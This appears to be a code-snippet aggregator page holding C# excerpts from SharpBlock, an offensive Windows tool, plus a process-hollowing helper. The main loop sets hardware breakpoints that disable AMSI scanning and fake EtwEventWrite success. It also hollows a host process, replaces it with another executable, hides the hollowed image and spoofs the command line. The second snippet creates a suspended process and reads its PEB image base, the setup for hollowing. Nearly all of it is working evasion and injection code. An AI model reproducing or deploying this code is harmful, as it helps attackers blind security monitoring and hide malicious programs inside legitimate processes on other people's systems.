                            WinAPI.CREATE_PROCESS_DEBUG_INFO CreateProcessDebugInfo = (WinAPI.CREATE_PROCESS_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_PROCESS_DEBUG_INFO));
                            processHandles[DebugEvent.dwProcessId] = CreateProcessDebugInfo.hProcess;
                            threadHandles[DebugEvent.dwThreadId]   = CreateProcessDebugInfo.hThread;

                            if (bypassAmsi)
                            {
                                SetHardwareBreakpoint(CreateProcessDebugInfo.hThread, amsiInitalizePtr, 0);
                            }

                            break;

                        case WinAPI.CREATE_THREAD_DEBUG_EVENT:
                            WinAPI.CREATE_THREAD_DEBUG_INFO CreateThreadDebugInfo = (WinAPI.CREATE_THREAD_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_THREAD_DEBUG_INFO));
                            threadHandles[DebugEvent.dwThreadId] = CreateThreadDebugInfo.hThread;

                            if (pi.dwProcessId == DebugEvent.dwProcessId)
                            {
                                if (bypassAmsi)
                                {
                                    SetHardwareBreakpoint(CreateThreadDebugInfo.hThread, amsiInitalizePtr, 0);
                                }

                                if (bypassETW)
                                {
                                    SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], etwEventWritePtr, 2);
                                }
                            }

                            break;

                        case WinAPI.EXIT_PROCESS_DEBUG_EVENT:
                            if (pi.dwProcessId == DebugEvent.dwProcessId)
                            {
                                bContinueDebugging = false;
                            }
                            break;

                        case WinAPI.LOAD_DLL_DEBUG_EVENT:
                            WinAPI.LOAD_DLL_DEBUG_INFO LoadDLLDebugInfo = (WinAPI.LOAD_DLL_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.LOAD_DLL_DEBUG_INFO));
                            string dllPath = PatchEntryPointIfNeeded(LoadDLLDebugInfo.hFile, LoadDLLDebugInfo.lpBaseOfDll, processHandles[DebugEvent.dwProcessId]);

                            //Console.WriteLine($"[=] DLL Load: {dllPath}");

                            if (DebugEvent.dwProcessId == pi.dwProcessId)
                            {
                                // Once kernelbase.dll has loaded then update GetCommandLineW/A args
                                if (bypassCommandLine && kernelBaseLoaded && !patchedArgs)
                                {
                                    UpdateCommandLine(pi.hProcess, realProgramArgs);
                                    patchedArgs = true;
                                }

                                if (hostProcess != null && dllPath.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase))
                                {
                                    Console.WriteLine($"[+] Replacing host process with {program}");
                                    hpi = ReplaceExecutable(processHandles[DebugEvent.dwProcessId], threadHandles[DebugEvent.dwThreadId], program);

                                    //Set a breakpoint on EtwEventWrite ready for us to bypass
                                    SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], etwEventWritePtr, 2);

                                    //Once we have hollowed out our process we put a breakpoint on
                                    //our in-memory PE entry point.
                                    //Once the entry point is hit it means that we can then attempt to
                                    //hide our PE from prying eyes.
                                    SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], hpi.newEntryPoint, 1);
                                }
                                else if (dllPath.EndsWith("kernelbase.dll", StringComparison.OrdinalIgnoreCase))
                                {
                                    kernelBaseLoaded = true;
                                }
                            }

                            break;

                        case WinAPI.EXCEPTION_DEBUG_EVENT:
                            WinAPI.EXCEPTION_DEBUG_INFO ExceptionDebugInfo = (WinAPI.EXCEPTION_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.EXCEPTION_DEBUG_INFO));

                            if (ExceptionDebugInfo.ExceptionRecord.ExceptionCode == WinAPI.EXCEPTION_SINGLE_STEP)
                            {
                                //Check to see if the single step breakpoint is at AmsiInitalize
                                if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == amsiInitalizePtr)
                                {
                                    //It is, to update the thread context to return to caller with
                                    //an invalid result
                                    DisableAMSI(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId]);

                                    //Set the hardware breakpoint again for AmsiInitalize
                                    SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], amsiInitalizePtr, 0);

                                    //check to see if we have hit our in-memory PE entry-point
                                }
                                else if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == hpi.newEntryPoint)
                                {
                                    //Causes crashes on some processes, for example cmd.exe, use --bypass-header-patch to disable
                                    if (bypassHollowDetect)
                                    {
                                        HideHollowedProcess(pi.hProcess, hpi);
                                    }

                                    //Catch case just in case kernelbase was the last DLL loaded
                                    if (bypassCommandLine && kernelBaseLoaded && !patchedArgs)
                                    {
                                        UpdateCommandLine(pi.hProcess, realProgramArgs);
                                        patchedArgs = true;
                                    }

                                    //No longer need the entrypoint breakpoint
                                    ClearHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], 1);
                                }
                                else if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == etwEventWritePtr)
                                {
                                    //We have hit EtwEventWrite so lets just return with a fake success result
                                    OverrideReturnValue(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId], new UIntPtr(0), 5);
                                }
                            }
                            else
                            {
                                dwContinueDebugEvent = WinAPI.DBG_EXCEPTION_NOT_HANDLED;
                            }

                            //Console.WriteLine($"Exception 0x{ExceptionDebugInfo.ExceptionRecord.ExceptionCode:x} occured at 0x{ExceptionDebugInfo.ExceptionRecord.ExceptionAddress.ToInt64():x}");
                            break;
                        }

                        WinAPI.ContinueDebugEvent((uint)DebugEvent.dwProcessId,
                                                  (uint)DebugEvent.dwThreadId,
                                                  dwContinueDebugEvent);
                    }
                    if (debugEventPtr != null)
                    {
                        Marshal.FreeHGlobal(debugEventPtr);
                    }
                }

                int exitCode;
                WinAPI.GetExitCodeProcess(pi.hProcess, out exitCode);
                Console.WriteLine($"[+] Process {program} with PID {pi.dwProcessId} exited wit code {exitCode:x}");
            }catch (Exception e) {
                Console.WriteLine($"[!] SharpBlock failed with error {e.Message}");
                Console.WriteLine(e.StackTrace);
            }
        }
Exemplo n.º 8
0
        private static bool InitHostProcess(string pszFormattedPath, ref HostProcessInfo HPI)
        {
            bool bResult;

            STARTUPINFO         lpStartupInfo        = new STARTUPINFO();
            PROCESS_INFORMATION lpProcessInformation = new PROCESS_INFORMATION();

            // create child process
            bResult = CreateProcessW(
                null,
                pszFormattedPath,
                IntPtr.Zero,
                IntPtr.Zero,
                false,
                0x04,
                IntPtr.Zero,
                IntPtr.Zero,
                ref lpStartupInfo,
                out lpProcessInformation);

            if (!bResult)
            {
                return(false);
            }

            HPI.SI = lpStartupInfo;
            HPI.PI = lpProcessInformation;

            // get peb->ImageBaseAddress of host process
            CONTEXT CTX = new CONTEXT();

            CTX.ContextFlags = (uint)CONTEXT_FLAGS.CONTEXT_ALL;

            bResult = GetThreadContext(HPI.PI.hThread, ref CTX);

            if (!bResult)
            {
                return(false);
            }

            HPI.CTX = CTX;

            // read peb
            byte[] _readBuffer = new byte[sizeof(uint)];
            IntPtr _outBuffer  = IntPtr.Zero;

            // ctx.ebx = peb*
            // ctx.ebx + 8 = ImageBaseAddress
            bResult = ReadProcessMemory(
                HPI.PI.hProcess,
                (IntPtr)(HPI.CTX.Ebx + 8),
                _readBuffer,
                sizeof(uint),
                out _outBuffer);

            if (!bResult)
            {
                return(false);
            }

            HPI.ImageBase = BitConverter.ToUInt32(_readBuffer, 0);

            // find how much mapped memory we have to work with
            IntPtr lpCurrentAddress      = (IntPtr)HPI.ImageBase;
            MEMORY_BASIC_INFORMATION mbi = new MEMORY_BASIC_INFORMATION();

            // iterate through mapped memory space
            while (VirtualQueryEx(
                       HPI.PI.hProcess,
                       lpCurrentAddress,
                       out mbi,
                       (uint)sizeof(MEMORY_BASIC_INFORMATION)) != 0)
            {
                if (mbi.State == StateEnum.MEM_FREE)
                {
                    break;
                }
                lpCurrentAddress = (IntPtr)((uint)(lpCurrentAddress) + mbi.RegionSize);
            }
            // size of mapped memory ?? == Nt->SizeOfImage
            HPI.ImageSize = (uint)lpCurrentAddress - HPI.ImageBase;

            return(bResult);
        }